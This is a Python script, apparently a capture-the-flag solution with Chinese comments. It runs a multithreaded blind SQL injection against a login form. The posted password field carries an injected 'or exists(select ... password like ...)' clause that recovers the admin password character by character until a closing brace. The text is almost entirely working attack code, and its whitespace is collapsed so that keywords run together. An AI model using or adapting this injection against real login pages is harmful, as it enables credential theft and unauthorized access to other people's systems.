defbrutepassword(d): global passwd global Found if Found: #一定要添加connection_lock.release(),否则直接return false,导致互斥量越来越少,最终只剩下主进程,陷入无限死循环中 connection_lock.release() returnFalse data={'username':'admin','password':''} if d=='_': d='/_' #使用了escape 定义了转义符为/,所以like中的'/_'代表就是转义字符'_' data['password']="' or exists(select * from users where username='admin' and password like '" +passwd+d+"%' escape '/') and ''='" html=requests.post(url,data=data).text if'script'in html:#right Found=True #passwdlock.acquire() #因为有的时候d会被转义是两个字符'\_',但是我们只需要最后一个字符就可以了 passwd=passwd+d[-1] #passwdlock.release() print('current password: '+passwd) if(d=='}'): print('final password: '+passwd) exit(0) else: #print("wrong word: "+passwd+d) pass connection_lock.release()
defmain(): global Found global passwd #thread=[] #p=Pool(processes=5) 244 whileTrue: for d in dictionary: connection_lock.acquire() t=threading.Thread(target=brutepassword,args=d) num=threading.active_count() #print(num) #print(connection_lock._value) #print(connection_lock) t.start() #thread.append(t) #p.apply_async(func,args=d) if Found: #foundlock.release() break
Found=False
if'}'in passwd: break
if __name__ == '__main__': main() ''' p=Pool(4) while True: for i in range(10): p.apply_async(func,str(i)) p.close() p.join() '''